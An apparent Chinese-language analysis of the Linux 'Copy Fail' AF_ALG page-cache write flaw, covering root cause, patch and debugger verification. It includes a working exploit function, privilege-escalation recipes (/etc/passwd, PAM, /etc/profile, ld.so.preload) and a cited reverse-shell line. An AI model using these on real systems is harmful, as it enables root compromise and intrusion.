// 在 IPsec 场景: tmp[0] = SPI, tmp[1] = SeqNo_Hi
unsigned int cryptlen = req->cryptlen;
cryptlen -= authsize;  // 定位到 auth tag 区域的起始
// 将 AAD[4:8] 临时写入 dst 中 tag 区域，供 HMAC 计算使用
scatterwalk_map_and_copy(tmp + 1, req->dst, assoclen + cryptlen, 4, 1);
//                       ^^^^^^^^                                ^
//                    AAD[4:8]                               4字节, 1=写方向

写入大小是硬编码的 4 字节（sizeof(u32)），写入的值来自 AAD[4:8]。

在 IPsec 的正常场景中，req->dst指向内核通过kmalloc分配的连续 buffer，AAD[4:8] 是合法的序列号数据。临时写入和还原完全无害。

AF_ALG 打开的攻击面

但是通过 AF_ALG 接口，用户空间可以直接调用 authencesn 算法，并且完全控制 AAD 的内容。authencesn 不做任何校验——它不关心 AAD[4:8] 到底是不是真正的 ESN 序列号，只是机械地把这 4 字节写入 dst 的固定偏移处。

只要把想写入 page cache 的数据放进 AAD[4:8]，authencesn 就会忠实地把它写入 dst 的固定偏移处。

那么问题来了——如果req->dst中包含的不是 kmalloc buffer，而是page cache pages呢？

3.1 漏洞引入：一个合理的优化

2017 年 7 月，内核开发者 Stephan Mueller 提交了 commit72548b093ee3，标题是 "crypto: algif_aead - copy AAD from src to dst"。

这个 commit 要解决的是一个真实的 bug。在此之前，algif_aead的解密路径使用out-of-place模式：

// 2017 之前: out-of-place
aead_request_set_crypt(&areq->aead_req,
                       areq->tsgl,              // req->src = TX SGL（输入数据）
                       areq->first_rsgl.sgl.sg, // req->dst = RX SGL（用户接收 buffer）
                       used, ctx->iv);

TX SGL 包含用户通过sendmsg()和splice()发送进来的全部数据（AAD + 密文 + 认证标签），RX SGL 指向用户空间的接收 buffer。AEAD 规范要求解密结果包含 AAD，但底层算法只处理密文部分，AAD 需要调用方自行从 src 复制到 dst。旧版algif_aead没做这个复制，导致用户收到的输出中 AAD 区域是全零。

commit72548b093ee3的修复方案分三步：

• 先把 AAD + 密文从 TX SGL 复制到 RX buffer

  （memcpy_sglist），这样 AAD 就出现在输出中了

• 把 TX SGL 中认证标签（auth tag）所在的 page 通过sg_chain()链接到 RX SGL 尾部

  ——因为 AEAD 解密需要读取 tag 来做认证校验，tag 不属于输出但必须在 dst SGL 中可达

• 设置req->src = req->dst = RX SGL

  （此时 RX SGL 已包含 AAD + 密文 + chained tag pages）

// 2017 之后的漏洞代码 (in-place)
// Step 1: 复制 AAD+密文 到 RX buffer
memcpy_sglist(rsgl, tsgl_src, outlen);  // outlen = assoclen + cryptlen - authsize
// Step 2: 从 TX SGL 中取出 tag pages
af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as);
// Step 3: 链到 RX SGL 尾部
sg_chain(rsgl_sg, rsgl_nents, areq->tsgl);
// Step 4: in-place — src 和 dst 都指向 这个 combined RX SGL
aead_request_set_crypt(&areq->aead_req,
                       rsgl_src,   // req->src = RX SGL (含 chained tag pages)
                       rsgl_dst,   // req->dst = RX SGL (同一个!)
                       used, ctx->iv);

功能上这完美解决了 AAD 复制问题。但问题出在 Step 2 中取出的tag pages——它们来自 TX SGL，而 TX SGL 中通过splice()进入的数据直接引用了文件的 page cache pages。这些 page cache pages 现在被 chain 到了req->dst中。

3.2 设计假设冲突

问题的本质是两个子系统之间存在一个从未被明确约定的隐含假设冲突：

在 authencesn 的所有其他调用场景中（主要是 IPsec/xfrm），dst 确实是内核分配的连续 buffer。algif_aead的 in-place 优化是第一个（也是唯一一个）将 page cache pages 放入req->dstSGL 的代码路径。

3.3 完整触发路径

现在把整个漏洞触发过程从头到尾走一遍。假设目标是向某个文件的偏移t处写入 4 字节可控数据。

Step 1：用户空间发送数据

利用时设置以下参数：

• assoclen = 8

  （AAD 长度，通过 sendmsg 的控制消息指定）

• authsize = 4

  （认证标签大小，通过setsockopt(ALG_SET_AEAD_AUTHSIZE)设置）

然后分两步向 AF_ALG socket 发送数据：

# 要写入的 4 字节数据
evil_bytes = b'\xde\xad\xbe\xef'
# Step 1: 通过 sendmsg 发送 8 字节 AAD
# AAD[0:4] = 任意填充, AAD[4:8] = 要写入 page cache 的数据
# authencesn 会把 AAD[4:8] 作为 ESN seqno_lo 写入 scratch 区域
aad = b'\x00\x00\x00\x00' + evil_bytes   # 8 字节
op.sendmsg([aad], cmsg, MSG_MORE)  # MSG_MORE: 后续还有数据
# Step 2: 通过 splice 将目标文件的前 t+4 字节送入 AF_ALG socket
# splice 直接传递 page cache page 引用，不复制数据
pipe_r, pipe_w = os.pipe()
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
os.splice(target_fd, pipe_w, t + 4, offset_src=0)  # 文件 → 管道
os.splice(pipe_r, op.fileno(), t + 4)               # 管道 → AF_ALG socket

Step 2：TX SGL 布局

两次发送后，内核中的 TX SGL 包含：

TX SGL:
+--------------------+----------------------------------------+
| sendmsg data (8B)  | splice data (t+4 bytes)                |
| AAD: 4 zero bytes  | file[0:t+4]                            |
|+ evil_bytes  | page cache page refs via splice        |
|  (kmalloc memory)  | (points to GLOBAL SHARED page cache!)  |
+--------------------+----------------------------------------+

从 AEAD 解密的视角来解读这段连续数据：

• AAD

  = 前assoclen=8字节 = sendmsg 发送的\x00\x00\x00\x00+evil_bytes

• 密文 (Ciphertext)

  = 中间t字节 = file[0:t]（文件的前 t 字节被当成"密文"）

• 认证标签 (Auth Tag)

  = 最后authsize=4字节 = file[t:t+4]

总字节数 = 8 + t + 4 = t + 12。

Step 3：recv 触发解密 → in-place SGL 构建

调用recv()触发_aead_recvmsg()。漏洞代码执行以下操作：

outlen = assoclen + (cryptlen - authsize) = 8 + ((t+4) - 4) = t + 8
(1) memcpy_sglist(RX buffer, TX SGL, outlen=t+8):
Copy first t+8 bytes of TX SGL to RX buffer (user-space allocated memory)
    RX buffer contents:
      [0:8]   = copy of AAD (sendmsg data)
      [8:8+t] = copy of file[0:t] (ciphertext portion)
    Note: this is a DATA COPY, not a page reference
(2) af_alg_pull_tsgl(TX SGL, skip=t+8, take=4):
    Skip first t+8 bytes of TX SGL, extract last 4 bytes (tag region)
    These 4 bytes in TX SGL correspond to file[t:t+4] from splice
-> SGL entry: { page = file's page cache page, offset = t%4096, length = 4 }
-> This is the ORIGINAL page cache reference, NOT a copy!
(3) sg_chain(RX SGL tail, tag SGL):
    Chain the tag page reference to the end of RX SGL

最终的 combined dst SGL（也是 src）布局：

combined dst SGL (= req->src = req->dst):
+-- RX buffer (user-space, SAFE) ----+  +-- chained tag (PAGE CACHE!) ------+
||||
| AAD (8B)  |  ciphertext (tB)       |->|  file[t:t+4] in page cache       |
||=copy of file[0:t]   ||  original page ref from splice   |
||||
+-- offset 0                t+8 -----+  +-- offset t+8               t+12 -+

关键点：RX buffer 部分是内核分配的用户空间内存（安全），但尾部 chained 的 tag pages 是文件的 page cache 原始页面引用。

Step 4：authencesn 的 scratch write → 命中 page cache

crypto_authenc_esn_decrypt()开始执行。ESN scratch write 的目标位置计算：

// crypto_authenc_esn_decrypt() 的 scratch write:
// 先读取 AAD[0:8]
scatterwalk_map_and_copy(tmp, req->dst, 0, 8, 0);  // tmp[0]=AAD[0:4], tmp[1]=AAD[4:8]
unsigned int cryptlen = req->cryptlen;  // = t + 4 (密文 + tag 的长度)
cryptlen -= authsize;                   // = t + 4 - 4 = t
// 将 tmp[1] (= AAD[4:8] = evil_bytes) 写入 dst[assoclen + cryptlen]
scatterwalk_map_and_copy(tmp + 1, req->dst, assoclen + cryptlen, 4, 1);
//                       ^^^^^^^^                  ^^^^^^^^^^^^^^^^  ^
//                    = AAD[4:8]                   = 8 + t          写方向
//                    = evil_bytes

写入位置是 dst SGL 的偏移8 + t。对照上面的 combined SGL 布局：

• RX buffer 部分占据 [0, t+8)，共 t+8 字节

• chained tag pages 从偏移 t+8 开始

8 + t恰好是 RX buffer 的边界，也就是chained tag pages 的起始位置。

而 tag pages 是 file[t:t+4] 的 page cache 原始引用。所以 scratch write 写入的就是文件 page cache 中偏移t处的 4 字节。

写入的值 =tmp[1]= AAD[4:8] = 通过 sendmsg 传入的evil_bytes。

至此链条闭合：写入位置通过 splice 长度控制（决定 t），写入内容通过 sendmsg 的 AAD[4:8] 控制。两者都是用户空间可自由指定的参数。

为什么写入不可逆？

解密完成后，crypto_authenc_esn_decrypt_tail()会尝试恢复被 scratch write 覆盖的数据。但这里有一个关键细节：它先读取dst[8+t]处的当前值（此时已是 payload），然后写回 AAD[0:8] 到dst[0:8]。dst[8+t] 处从未被写回原始值。

而且 HMAC 校验必然失败（因为数据已被篡改），recvmsg返回-EBADMSG。但此时 page cache 写入已经发生，无法回滚。漏洞利用时只需忽略这个错误即可。

3.4 控制能力分析

写入位置：通过调整splice()的长度（= t + authsize = t + 4）来控制 t，即写入的目标文件偏移。每次调用可以定位到文件中的任意偏移处。

写入内容：通过 sendmsg 发送的 AAD[4:8]（4 字节），完全可控。

写入大小：固定 4 字节。这不是由setsockopt(ALG_SET_AEAD_AUTHSIZE)决定的——authsize 只影响偏移计算中的cryptlen -= authsize。4 字节是 authencesn 中硬编码的sizeof(u32)（ESN 序列号高 32 位的大小）。单次写入字节数无法改变，但多次调用即可覆盖文件的连续区域。

目标文件：任何当前用户有读权限的文件。PoC 用O_RDONLY打开文件，不需要写权限，因为写入路径不经过 VFS 的权限检查。

总结：

写入目标: file page cache[t : t+4]
写入值:   sendmsg 发送的 AAD[4:8] (4 字节, 完全可控)
写入大小: 固定 4 字节 (authencesn 硬编码的 u32)
触发条件: assoclen=8, authsize=4, splice 长度=t+4
文件权限: 只需 O_RDONLY，不需要写权限
根本原因: dst SGL 尾部 chained 的 tag pages 是 splice 引入的 page cache 原始引用

3.5 补丁分析

修复补丁a664bf3d603d的作者 Herbert Xu 在 commit message 中写道：

This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.

修复方案：去掉 in-place 模式，让req->src和req->dst重新指向不同的 SGL：

// 修复后: out-of-place
// src = TX SGL (包含 page cache pages，但只读)
// dst = RX SGL (纯用户空间 buffer)
aead_request_set_crypt(&areq->aead_req,
                       tsgl_src,   // req->src = TX SGL
                       rsgl_dst,   // req->dst = RX SGL (独立!)
                       used, ctx->iv);
// AAD 通过显式 memcpy 复制到 RX buffer
memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen);

修复后，req->dst只包含用户空间分配的 RX buffer，不再有 page cache pages。authencesn 的 scratch write 写入的是用户自己的接收缓冲区——完全无害。

补丁净删除约 92 行代码：移除了 tag page chain、in-place 分支、af_alg_pull_tsgl的 offset 参数等所有为 in-place 操作添加的复杂逻辑。整个sg_chain()调用被彻底消除——不再有任何 page cache page 出现在req->dst中的可能。（补丁全文可在GitHub查看。）

4.1 公开 PoC 结构

公开的Copy Fail PoC是一个 732 字节的高度混淆 Python 脚本，通过 base64 + zlib 压缩嵌套了真正的利用代码。解码后的核心是一个page_cache_write_4bytes(fd, offset, value)函数，它执行上述漏洞触发路径来向指定文件的 page cache 写入 4 字节。

PoC 的完整利用流程是：

• 打开/usr/bin/su（SUID root binary）的只读 fd

• 多次调用page_cache_write_4bytes()，将/usr/bin/su的前 160 字节 ELF header 覆盖为一个精心构造的 ELF payload（包含一段获取 root shell 的 shellcode）

• 执行被篡改的/usr/bin/su→ 获得 root shell

这里有一个有趣的细节：PoC 是用O_RDONLY打开目标文件的。对于常规的 VFS 写操作，只读 fd 会被内核拒绝。但 Copy Fail 的写入路径不经过 VFS 的权限检查——它通过 crypto 子系统的 scratch write 直接修改 page cache 页面。这意味着任何可读文件都是潜在的攻击目标，包括被挂载为 readOnly 的文件。

4.2 核心函数实现

去混淆后的核心函数（对照 Section 3 的数据流）：

AF_ALG = 38
SOL_ALG = 279
ASSOCLEN = 8    # AAD 长度
AUTHSIZE = 4    # auth tag 大小 (也影响偏移计算)
def page_cache_write_4bytes(fd, offset, value):
"""向 fd 指向文件的 page cache[offset : offset+4] 写入 value (4字节)"""
# 创建 AF_ALG socket, 绑定 authencesn(hmac(sha256),cbc(aes)) 算法
    s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
    s.setsockopt(SOL_ALG, 2,  # ALG_SET_KEY: 密钥 (全零, 内容不影响漏洞触发)
b'\x08\x00\x01\x00'    # rtattr 头
b'\x00\x00\x00\x10'    # enckeylen=16 (AES-128)
                 + b'\x00' * 32)         # 16B authkey + 16B enckey
    s.setsockopt(SOL_ALG, 4, None, AUTHSIZE)  # ALG_SET_AEAD_AUTHSIZE = 4
    op = s.accept()[0]
# 构造 8 字节 AAD: 前 4B 填充零, 后 4B 是要写入 page cache 的 value
# authencesn 会把 AAD[4:8] (= value) 写入 dst[assoclen + cryptlen]
    aad = b'\x00' * 4 + value   # 8 字节
    op.sendmsg([aad],
               [(SOL_ALG, 2, b'\x00' * 4),             # ALG_OP_DECRYPT
                (SOL_ALG, 3, b'\x10' + b'\x00' * 19),   # IV = 16B zero
                (SOL_ALG, 4, struct.pack('I', ASSOCLEN))], # assoclen = 8
               socket.MSG_MORE)
# 通过 splice 将目标文件的 [0, offset+4) 送入 AF_ALG socket
# splice 传递 page cache page 引用 (零拷贝)
    pr, pw = os.pipe()
    os.splice(fd, pw, offset + AUTHSIZE, offset_src=0)
    os.splice(pr, op.fileno(), offset + AUTHSIZE)
try:
        op.recv(ASSOCLEN + offset)  # 触发 _aead_recvmsg → authencesn scratch write
except OSError:
pass  # HMAC 校验失败返回 EBADMSG, 但 page cache 写入已完成
    op.close(); s.close(); os.close(pr); os.close(pw)

4.3 QEMU + GDB 内核级验证

为了从内核层面验证漏洞的完整触发路径，需要搭建一个可控的调试环境：在 QEMU 中运行带有调试符号的 Linux 6.12.8 内核，通过 GDB 远程调试在关键函数设置断点，捕获完整的执行链。

实验环境代码

本节涉及的所有脚本和配置文件：GitHub Gist — QEMU Debug Environment

GDB 断点脚本：GitHub Gist — GDB Scripts

4.3.1 搭建调试环境

整个调试环境通过 Docker 构建（避免在 macOS 上配置交叉编译链），产出三个文件：压缩内核bzImage、调试符号vmlinux、以及包含 PoC 工具的 initramfs。

# 构建内核 + busybox + PoC (通过 Docker，约 10 分钟)
docker build -t copyfail-build -f Dockerfile .
docker run --rm -v $(pwd)/output:/output copyfail-build
# 产出:
#   output/bzImage        — 压缩内核 (4.8M)
#   output/vmlinux        — 带 DWARF 调试符号 (126M, 给 GDB 用)
#   output/rootfs.cpio.gz — initramfs (含 busybox + poc_pagecache_write)

内核配置的关键选项（确保 crypto 子系统和调试符号完整）：

CONFIG_CRYPTO_USER_API_AEAD=y    # AF_ALG AEAD 接口
CONFIG_CRYPTO_AUTHENC=y          # authenc 模块
CONFIG_CRYPTO_SEQIV=y            # 序列号 IV
CONFIG_DEBUG_INFO_DWARF5=y       # 完整调试符号
CONFIG_GDB_SCRIPTS=y             # GDB helper scripts
CONFIG_KALLSYMS_ALL=y            # 所有内核符号可见

启动 QEMU 虚拟机：

# 普通启动 (直接进入 shell)
./run_qemu.sh
# 调试模式 (QEMU 暂停, 等待 GDB 连接到 :1234)
./run_qemu.sh debug

在另一个终端连接 GDB：

gdb ./vmlinux -ex 'target remote :1234' -ex 'continue'

4.3.2 实验 1：Page Cache 写入验证

在 QEMU 虚拟机的 shell 中，执行自动化实验脚本：

# === VM 内执行 ===
# 1. 创建测试文件
echo "AABBCCDD EEFFGGHH IIJJKKLL MMNNOOPP" > /tmp/target.txt
hexdump -C /tmp/target.txt
# 00000000  41 41 42 42 43 43 44 44  20 45 45 46 46 47 47 48  |AABBCCDD EEFFGGH|
# 00000010  48 20 49 49 4a 4a 4b 4b  4c 4c 20 4d 4d 4e 4e 4f  |H IIJJKKLL MMNNO|
# 00000020  4f 50 50 0a                                        |OPP.|
# 2. 第一次写入: offset 0, value 0xDEADBEEF
poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF
# [*] Target: /tmp/target.txt
# [*] Offset: 0 (0x0)
# [*] Value:  0xdeadbeef
# [*] Writing 4 bytes to page cache...
# [+] Done. Page cache of /tmp/target.txt at offset 0 should now contain 0xdeadbeef
# 3. 验证写入结果
hexdump -C /tmp/target.txt | head -2
# 00000000  ef be ad de 43 43 44 44  20 45 45 46 46 47 47 48  |....CCDD EEFFGGH|
#           ^^^^^^^^^^^
#           0xDEADBEEF (little-endian)
# 4. 第二次写入: offset 8, value 0xCAFEBABE
poc_pagecache_write /tmp/target.txt 8 0xCAFEBABE
# 5. 验证两次写入互不干扰
hexdump -C /tmp/target.txt | head -2
# 00000000  ef be ad de 43 43 44 44  be ba fe ca 46 47 47 48  |....CCDD....FGGH|
#                                    ^^^^^^^^^^^
#                                    0xCAFEBABE (little-endian)
# 6. drop_caches 行为验证 (tmpfs 上的文件不会恢复)
echo 3 > /proc/sys/vm/drop_caches
hexdump -C /tmp/target.txt | head -2
# 00000000  ef be ad de 43 43 44 44  be ba fe ca 46 47 47 48  |....CCDD....FGGH|
# ↑ tmpfs: 数据只存在于 page cache, drop_caches 不驱逐
# ↑ 磁盘文件系统 (ext4): drop_caches 后会从磁盘重新加载原始数据

结论：4 字节 page cache 写入原语有效，偏移精确可控，多次写入互不干扰。

4.3.3 实验 2：GDB 证据链 — SGL 布局与 Scratch Write

这是最关键的实验：通过 GDB 在crypto_authenc_esn_decrypt入口处观察req->src == req->dst（证实 in-place），并追踪scatterwalk_map_and_copy的写操作落在 page cache page 上。

# === 终端 1: 启动 QEMU (debug 模式) ===
./run_qemu.sh debug
# === Debug mode: QEMU paused, waiting for GDB on localhost:1234 ===
# === 终端 2: 连接 GDB，加载 Python 断点脚本 ===
gdb ./vmlinux -x exp3_2_gdb.py
# [GDB Script] Setting up breakpoints for Experiment 3.2+3.3...
# Breakpoint 1 at 0xffffffff812984f8: file crypto/authencesn.c, line 263.
# [GDB] BP1: crypto_authenc_esn_decrypt (entry)
# Breakpoint 2 at 0xffffffff8128f93e: file crypto/scatterwalk.c, line 57.
# [GDB] BP2: scatterwalk_map_and_copy (writes only)
(gdb) target remote :1234
(gdb) continue

在 VM shell 中执行 PoC（poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF），GDB 自动捕获以下输出：

============================================================
=== crypto_authenc_esn_decrypt ENTRY ===
req       = 0xffff888002d96a90
req->src  = 0xffff888002d96820
req->dst  = 0xffff888002d96820
src == dst:YES (IN-PLACE!)          ← 漏洞根因确认
assoclen  = 8
cryptlen  = 4 (before -= authsize)
============================================================
--- dst SGL entries ---
SGL[0]: page_link=0xffffea000006f440 offset=1760 length=8
SGL[1]: page_link=0xffff8880027cbda1 offset=0 length=0 [CHAIN]
SGL[2]: page_link=0xffffea000006f8c2 offset=0 length=4 [LAST]
=== [HIT 1] scatterwalk_map_and_copy WRITE ===
buf=0xffffc90000113d20 sg=0xffff888002d96820 start=4 nbytes=4
writing value:0x41414141
backtrace:
#0 scatterwalk_map_and_copy
#1 crypto_authenc_esn_decrypt      ← seqno_hi 写入 dst[4..7]
#2 _aead_recvmsg
#3 aead_recvmsg
#4 sock_recvmsg_nosec
#5 sock_recvmsg
=== [HIT 2] scatterwalk_map_and_copy WRITE ===
buf=0xffffc90000113d24 sg=0xffff888002d96820 start=8 nbytes=4
writing value:0xdeadbeef            ← ★ SCRATCH WRITE:命中 page cache!
backtrace:
#0 scatterwalk_map_and_copy
#1 crypto_authenc_esn_decrypt      ← dst[assoclen+cryptlen] = dst[8+0] = page cache
#2 _aead_recvmsg
...
=== [HIT 3] scatterwalk_map_and_copy WRITE ===
buf=0xffffc90000113cc8 sg=0xffff888002d96820 start=0 nbytes=8
writing value:0x41414141
backtrace:
#0 scatterwalk_map_and_copy
#1 crypto_authenc_esn_decrypt_tail ← ESN header 恢复 (HMAC 后清理)
...

GDB 输出的关键解读：

SGL 布局验证完毕，调用链recv()→_aead_recvmsg→crypto_authenc_esn_decrypt→scatterwalk_map_and_copy(WRITE)→ page cache 已完整捕获。

4.3.4 实验 3：修复版内核对比

在相同环境下，替换为打了补丁a664bf3d603d的 6.12.85 内核重复实验：

# 使用修复版内核启动
BZIMAGE=bzImage.patched VMLINUX=vmlinux.patched ./run_qemu.sh debug

GDB 输出对比：

============================================================
=== crypto_authenc_esn_decrypt ENTRY ===
  req       = 0xffff888002dcea90
  req->src  = 0xffff888002e6d880
  req->dst  = 0xffff888002dce820
  src == dst: NO                       ← 修复: out-of-place 模式
  assoclen  = 8
  cryptlen  = 4 (before -= authsize)
============================================================
  --- dst SGL entries ---
  SGL[0]: page_link=0xffffea000006f582 offset=1760 length=8 [LAST]
                                                              ^^^^
  ↑ 仅 1 个 entry, 无 CHAIN, 无 page cache page!
=== [HIT 1] scatterwalk_map_and_copy WRITE ===
  writing value: 0x41414141
  sg->page_link = 0xffffea000006f582   ← 写入 RX buffer (用户空间), 安全
=== [HIT 2] scatterwalk_map_and_copy WRITE ===
  writing value: 0xdeadbeef
  sg->page_link = 0xffffea000006f582   ← 同样写入 RX buffer, 无副作用

2022 年的 Dirty Pipe、2026 年的 Copy Fail 和紧随其后的 Dirty Frag 共享一个明确的漏洞模式：splice()零拷贝将文件的 page cache page 引用传入内核子系统，该子系统的某条代码路径对这些引用执行写操作（pipe merge、crypto scratch write、in-place decrypt），导致文件页缓存被篡改。这一模式已在三个独立的内核子系统中反复出现：

三者的触发路径各不相同，但共享同一核心结果：内核代码路径绕过 VFS 写权限检查，通过 splice 注入的 page 引用直接修改文件页缓存内容。由于修改不经过 VFS 写路径，页面不会被标记为 dirty，磁盘上的原始文件不受影响——篡改仅存在于内存中的页缓存，重启或drop_caches后恢复。

更早的Dirty COW(CVE-2016-5195, 2016) 通过完全不同的机制（mmapCOW 竞态条件 + GUP）达到了相似的结果——非授权修改文件数据。但 Dirty COW 不涉及 splice 或 in-place 操作，其竞态成功后修改会通过 page writeback 写回磁盘（设置 PG_dirty），属于不同类别的漏洞。

原语等价，利用面自然也相同。以下以 Copy Fail 为例，展示"对任意可读文件页缓存的 4 字节可控写入"这一原语在宿主机上除 SUID 文件之外的其他攻击面——以下所有路径均已在 CentOS Stream 8（未修补内核 4.18.0-553）上实验确认可行，结论对同类页缓存覆写漏洞通用。

实验代码
本节涉及的所有 PoC 脚本：https://github.com/0xlane/pagecache-guard/tree/main/poc/host-attacks

5.1 /etc/passwd UID 篡改

/etc/passwd在所有 Linux 发行版上的权限均为 0644（世界可读），是此类漏洞利用的天然目标。

原理：将目标用户的 UID 字段从1000改为0000——仅修改一个 ASCII 字符。Linux 通过 UID 判断用户身份，UID 为 0 即 root。

# 修改前: testuser123:x:1000:1000::/home/testuser123:/bin/bash
python3 exp_passwd_uid.py testuser123
# [+] SUCCESS: UID changed to 0000 in page cache
id testuser123
# uid=0(root) gid=0(root) groups=0(root)
su - testuser123
# whoami → root
# 可以读 /etc/shadow ✅
# 恢复
echo 3 > /proc/sys/vm/drop_caches

仅 1 次 4 字节写入即可完成提权。无需 shellcode，无需了解 ELF 结构——所有发行版通用。修改未设置PG_dirty，drop_caches可恢复。

5.2 PAM 认证绕过

pam_unix.so是 Linux 标准密码认证模块，权限通常为 0644。

原理：修改pam_unix.so中pam_sm_authenticate函数的密码校验逻辑——将返回值保存指令mov %eax,%ebp（89 c5）替换为xor %ebp,%ebp（31 ed），强制返回PAM_SUCCESS（0）：

; 密码校验后保存返回值
0x3d5e:  89 c5           mov  %eax, %ebp    ; 原始: 保存真实的校验结果
; 修改为:
0x3d5e:  31 ed           xor  %ebp, %ebp    ; 篡改: 强制清零 = PAM_SUCCESS

python3 exp_pam_bypass.py
# [*] Auto-detected patch offset: 0x3d5e
# [*] Patching to: 31ede95e (xor %ebp,%ebp)
# [+] SUCCESS: pam_unix.so patched in page cache
su root
# Password: (任意输入)
# whoami → root ✅

持久性特殊：sshd、login、sd-pam等进程通过mmap(MAP_PRIVATE)加载了pam_unix.so。这些 mmap 引用使得drop_caches无法驱逐被篡改的页面——内核在invalidate_inode_page()中检测到page_mapped()为真时跳过驱逐。修改将持续到所有映射进程退出或文件 inode 被替换（yum reinstall pam）。

5.3 共享库 Live-Patching

Linux 通过mmap(MAP_PRIVATE)加载.so共享库，所有使用同一库的进程共享同一组 page cache 物理页。修改.so的 page cache等价于修改所有已加载该库的运行中进程的代码或数据段——x86 缓存一致性协议确保写入对所有核心的指令和数据获取立即可见。

实验在libnss_files.so（系统 NSS 名称解析库，0644）上验证，通过一个持续运行的监控进程观察修改效果：

# Step 1: 启动监控进程，持续读取 mmap 映射中的字符串
gcc -o monitor exp_shared_lib_monitor.c -ldl
./monitor &
# [monitor] PID=161045
# [monitor] initial: "/etc/hosts"
# [monitor] tick 1: no change
# [monitor] tick 2: no change
# Step 2: 篡改 .so 的 page cache (另一终端)
python3 exp_shared_lib.py
# [+] SUCCESS: '/etc/hosts' → '/etc/h0sts' in page cache
# Step 3: 监控进程无需重启即检测到变化
# [monitor] tick 3: *** STRING CHANGED ***
# [monitor] now: "/etc/h0sts"
# [monitor] *** LIVE-PATCH CONFIRMED (no restart) ***

关键证据：监控进程 PID=161045 从启动到结束从未重启。它在 tick 1-2 读到原始值，PoC 执行后在 tick 3立即看到修改。

CentOS 8 上有 20+ 系统守护进程（sshd、crond、dockerd、dbus-daemon 等）持有libnss_files.so的 mmap 引用，drop_caches无法驱逐——修改在系统运行期间半永久存在，恢复需要yum reinstall glibc-common。

风险
修改核心系统库（如libc.so）的代码段虽然理论上可实现任意代码执行（所有调用目标函数的 root daemon 立即受影响），但存在极高的系统崩溃风险。上述实验仅修改了.rodata段中的字符串作为安全验证。

5.4 /etc/profile 命令注入

/etc/profile在所有 Linux 发行版上均为 0644 且被每个登录 shell 自动 source（SSH 登录、su -、控制台登录）。

原理：利用注释行中的#作为掩护——覆盖注释文本为命令，原始文本被#注释掉，不影响文件其余功能：

# 原始: # It's NOT a good idea to change this file unless you know what you
# 注入: id>>/tmp/CF-PWNED  #ea to change this file unless you know what you
#       ↑ 命令部分            ↑ '#' 注释掉剩余文本, 不影响后续行

python3 exp_profile_inject.py "id>>/tmp/CF-PWNED  #"
# [*] Payload: 20 bytes, 5 writes
# [+] SUCCESS: command injected into /etc/profile
# 触发: root 执行登录 shell
su - root -c "echo triggered"
cat /tmp/CF-PWNED
# uid=0(root) gid=0(root) groups=0(root) ✅

仅 5 次写入（20 字节）即可完成注入。通用性极强——所有发行版均有/etc/profile，且包含注释行。实际攻击场景中可注入反弹 shell（bash -i>&/dev/tcp/IP/PORT 0>&1 #）或后门用户创建命令（useradd -o -u0 backdoor #）。

5.5 计划任务脚本篡改

Cron 定时任务和 systemd 服务引用的脚本或二进制文件（通常为 0755 世界可读），是完全被动的利用目标——攻击者篡改后只需等待 daemon 下次调度执行。

# 环境准备: cron job 每分钟执行 /tmp/copyfail-lab/cron_target.sh
# 脚本内容: echo "ORIGINAL $(date +%s)" >> cron.log
# 篡改脚本 page cache
python3 exp_cron_script.py /tmp/copyfail-lab/cron_target.sh
# [+] SUCCESS: script tampered in page cache ("ORIGINAL" → "HIJACKED")
# 下一次 cron 触发 (≤ 1 分钟):
tail /tmp/copyfail-lab/cron.log
# HIJACKED 1778309461   ← crond 执行了被篡改的脚本 ✅

crond 在每次触发时重新读取脚本文件内容，天然获取 page cache 中的篡改数据。systemd 引用的服务脚本同理。

配置文件 vs 脚本文件
直接修改 cron配置文件（/etc/cron.d/）或 systemdunit 文件（.service）的 page cache 在实验中也验证了技术可行性，但在实战中不可行：cronie 使用 inotify 检测配置变化——page cache 修改不触发 inotify，需要crond重启才能读取变更；systemd unit 文件的修改同样需要systemctl daemon-reload或服务重启才生效。低权限攻击者无法控制这些 daemon 操作。因此，可行的攻击路径仅限于篡改已有任务引用的脚本/二进制文件。

5.6 /etc/ld.so.preload 路径劫持

/etc/ld.so.preload列出的共享库被动态链接器在每个程序启动时优先加载。修改其中的库路径即可实现全局代码注入。

# 前提: 系统已有 /etc/ld.so.preload (用于性能监控等)
cat /etc/ld.so.preload
# /tmp/copyfail-lab/libmarker.so
python3 exp_preload_hijack.py
# [+] SUCCESS: preload path hijacked
# /tmp/copyfail-lab/libmarker.so → /tmp/copyfail-lab/libevil00.so
ls /dev/null
# [preload] EVIL LIBRARY LOADED!   ← 恶意库被每个新进程加载
# /dev/null

前提条件：目标系统必须已存在/etc/ld.so.preload（Copy Fail 无法创建新文件，只能修改已有文件的页缓存）。该文件默认不存在，但在使用 jemalloc 预加载、LD_PRELOAD 安全 agent、性能监控等场景中常见。

前面梳理了页缓存覆写在宿主机上的多条提权路径。但在容器化基础设施中，这类漏洞的威胁还要更进一步：Page Cache 是一个跨越容器隔离边界的全局共享状态。

漏洞披露后，多个安全团队迅速关注了容器/K8s 场景：Juliet验证了 PSS Restricted 和 RuntimeDefault 均不阻止 AF_ALG，Stream Security在生产级 EKS 集群上完成了端到端验证，Percivalll给出了通过篡改特权 DaemonSet 共享层实现 Pod→Node 逃逸的完整 PoC（已在 ACK / EKS / GKE 上验证）。本节在这些工作基础上，通过独立实验进一步验证和扩展容器场景的攻击可行性边界。

所有结论均在真实 Kubernetes 集群（k3sv1.32 + containerd v2.0.5，CentOS Stream 8 未修补内核 4.18.0-553）上通过实验验证。

容器实验代码
本节涉及的 Pod YAML、PoC 脚本和验证工具：https://gist.github.com/0xlane/d89e230c9e18bfd8cc126452352afae6

6.1 镜像层共享：Page Cache 的跨容器传播

容器运行时（containerd、Docker）使用 overlayfs 管理容器的文件系统。对于同一个 base image（如python:3.11-slim），其镜像层在宿主机上只存储一份。所有使用该镜像的容器，其 lower layer 指向同一组 inode。

这意味着：当容器 A 通过read()读取/usr/bin/python3时，内核为该 inode 建立 page cache 条目；当容器 B 随后读取同一文件时，命中的是完全相同的 page cache 页面。

